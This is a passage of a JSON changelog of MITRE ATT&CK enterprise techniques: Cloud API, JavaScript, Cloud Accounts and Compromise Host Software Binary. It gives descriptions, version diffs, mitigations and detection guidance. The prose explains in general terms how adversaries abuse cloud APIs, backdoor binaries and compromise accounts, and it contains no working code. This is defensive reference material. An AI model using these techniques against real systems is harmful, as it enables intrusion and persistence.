\"old_value\": \"2.4\"}, \"root['x_mitre_platforms'][5]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Azure AD\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][6]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][4]\": \"Office 365\", \"root['x_mitre_platforms'][7]\": \"Google Workspace\"}}", + "previous_version": "2.4", + "version_change": "2.4 \u2192 2.5", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1026: Privileged Account Management", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program", + "M1045: Code Signing", + "M1049: Antivirus/Antimalware" + ], + "new": [ + "M1033: Limit Software Installation", + "M1047: Audit" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-17 13:28:24.989000+00:00", + "modified": "2024-10-15 15:44:20.143000+00:00", + "name": "Cloud API", + "description": "Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006). \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/009", + "external_id": "T1059.009" + }, + { + "source_name": "Microsoft - Azure PowerShell", + "description": "Microsoft. (2014, December 12). Azure/azure-powershell. Retrieved March 24, 2023.", + "url": "https://github.com/Azure/azure-powershell" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ozan Olali", + "Nichols Jasper", + "Jason Sevilla", + "Marcus Weeks", + "Caio Silva" + ], + "x_mitre_data_sources": [ + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:44:20.143000+00:00\", \"old_value\": \"2023-04-14 18:04:54.607000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}, \"root['x_mitre_platforms'][2]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][3]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][4]\": \"Google Workspace\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-23 19:12:24.924000+00:00", + "modified": "2024-07-30 14:12:52.698000+00:00", + "name": "JavaScript", + "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/007", + "external_id": "T1059.007" + }, + { + "source_name": "Apple About Mac Scripting 2016", + "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.", + "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html" + }, + { + "source_name": "MDSec macOS JXA and VSCode", + "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.", + "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/" + }, + { + "source_name": "Microsoft JScript 2007", + "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020.", + "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript" + }, + { + "source_name": "Microsoft Windows Scripts", + "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.", + "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces" + }, + { + "source_name": "JScrip May 2018", + "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.", + "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript" + }, + { + "source_name": "NodeJS", + "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.", + "url": "https://nodejs.org/" + }, + { + "source_name": "SentinelOne macOS Red Team", + "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.", + "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/" + }, + { + "source_name": "SpecterOps JXA 2020", + "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.", + "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5" + }, + { + "source_name": "Red Canary Silver Sparrow Feb2021", + "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.", + "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Cody Thomas, SpecterOps" + ], + "x_mitre_data_sources": [ + "Module: Module Load", + "Process: Process Creation", + "Script: Script Execution", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false, \"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"User\", \"Administrator\", \"SYSTEM\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-07-30 14:12:52.698000+00:00\", \"old_value\": \"2021-08-16 21:02:05.142000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}}}", + "previous_version": "2.1", + "version_change": "2.1 \u2192 2.2", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-27 14:30:01.904000+00:00", + "modified": "2024-10-16 21:26:36.312000+00:00", + "name": "Cloud Accounts", + "description": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1586/003", + "external_id": "T1586.003" + }, + { + "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022", + "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.", + "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/" + }, + { + "source_name": "Awake Security C2 Cloud", + "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.", + "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/" + }, + { + "source_name": "Netcraft SendGrid 2024", + "description": "Graham Edgecombe. (2024, February 7). Phishception \u2013 SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.", + "url": "https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/" + }, + { + "source_name": "MSTIC Nobelium Oct 2021", + "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.", + "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Francesco Bigarella" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 21:26:36.312000+00:00\", \"old_value\": \"2022-10-21 14:21:57.991000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\\n\\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)\", \"old_value\": \"Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\\n\\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\\n+Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\\n \\n A variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022\", \"description\": \"Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.\", \"url\": \"https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/\"}, \"root['external_references'][3]\": {\"source_name\": \"Netcraft SendGrid 2024\", \"description\": \"Graham Edgecombe. (2024, February 7). Phishception \\u2013 SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.\", \"url\": \"https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may compromise cloud accounts that can be used dt1Adversaries may compromise cloud accounts that can be used d
>uring targeting. Adversaries can use compromised cloud accou>uring targeting. Adversaries can use compromised cloud accou
>nts to further their operations, including leveraging cloud >nts to further their operations, including leveraging cloud 
>storage services such as Dropbox, Microsoft OneDrive, or AWS>storage services such as Dropbox, Microsoft OneDrive, or AWS
> S3 buckets for [Exfiltration to Cloud Storage](https://atta> S3 buckets for [Exfiltration to Cloud Storage](https://atta
>ck.mitre.org/techniques/T1567/002) or to [Upload Tool](https>ck.mitre.org/techniques/T1567/002) or to [Upload Tool](https
>://attack.mitre.org/techniques/T1608/002)s. Cloud accounts c>://attack.mitre.org/techniques/T1608/002)s. Cloud accounts c
>an also be used in the acquisition of infrastructure, such a>an also be used in the acquisition of infrastructure, such a
>s [Virtual Private Server](https://attack.mitre.org/techniqu>s [Virtual Private Server](https://attack.mitre.org/techniqu
>es/T1583/003)s or [Serverless](https://attack.mitre.org/tech>es/T1583/003)s or [Serverless](https://attack.mitre.org/tech
>niques/T1583/007) infrastructure. Compromising cloud account>niques/T1583/007) infrastructure. Additionally, cloud-based 
>s may allow adversaries to develop sophisticated capabilitie>messaging services such as Twilio, SendGrid, AWS End User Me
>s without managing their own servers.(Citation: Awake Securi>ssaging, AWS SNS (Simple Notification Service), or AWS SES (
>ty C2 Cloud)  A variety of methods exist for compromising cl>Simple Email Service) may be leveraged for spam or [Phishing
>oud accounts, such as gathering credentials via [Phishing fo>](https://attack.mitre.org/techniques/T1566).(Citation: Palo
>r Information](https://attack.mitre.org/techniques/T1598), p> Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Ci
>urchasing credentials from third-party sites, conducting [Pa>tation: Netcraft SendGrid 2024) Compromising cloud accounts 
>ssword Spraying](https://attack.mitre.org/techniques/T1110/0>may allow adversaries to develop sophisticated capabilities 
>03) attacks, or attempting to [Steal Application Access Toke>without managing their own servers.(Citation: Awake Security
>n](https://attack.mitre.org/techniques/T1528)s.(Citation: MS> C2 Cloud)  A variety of methods exist for compromising clou
>TIC Nobelium Oct 2021) Prior to compromising cloud accounts,>d accounts, such as gathering credentials via [Phishing for 
> adversaries may conduct Reconnaissance to inform decisions >Information](https://attack.mitre.org/techniques/T1598), pur
>about which accounts to compromise to further their operatio>chasing credentials from third-party sites, conducting [Pass
>n. In some cases, adversaries may target privileged service >word Spraying](https://attack.mitre.org/techniques/T1110/003
>provider accounts with the intent of leveraging a [Trusted R>) attacks, or attempting to [Steal Application Access Token]
>elationship](https://attack.mitre.org/techniques/T1199) betw>(https://attack.mitre.org/techniques/T1528)s.(Citation: MSTI
>een service providers and their customers.(Citation: MSTIC N>C Nobelium Oct 2021) Prior to compromising cloud accounts, a
>obelium Oct 2021)>dversaries may conduct Reconnaissance to inform decisions ab
 >out which accounts to compromise to further their operation.
 > In some cases, adversaries may target privileged service pr
 >ovider accounts with the intent of leveraging a [Trusted Rel
 >ationship](https://attack.mitre.org/techniques/T1199) betwee
 >n service providers and their customers.(Citation: MSTIC Nob
 >elium Oct 2021)
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:18:34.279000+00:00", + "modified": "2024-10-12 16:52:46.067000+00:00", + "name": "Compromise Host Software Binary", + "description": "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\nAfter modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1554", + "external_id": "T1554" + }, + { + "source_name": "Google Cloud Mandiant UNC3886 2024", + "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations" + }, + { + "source_name": "Unit42 Banking Trojans Hooking 2022", + "description": "Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.", + "url": "https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n" + }, + { + "source_name": "ESET FontOnLake Analysis 2021", + "description": "Vladislav Hr\u010dka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.", + "url": "https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "CrowdStrike Falcon OverWatch", + "Liran Ravich, CardinalOps", + "Jamie Williams (U \u03c9 U), PANW Unit 42" + ], + "x_mitre_data_sources": [ + "File: File Deletion", + "File: File Modification", + "File: File Metadata", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-12 16:52:46.067000+00:00\", \"old_value\": \"2024-04-16 13:03:40.824000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\\n\\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\\n\\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\\n\\nAfter modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via 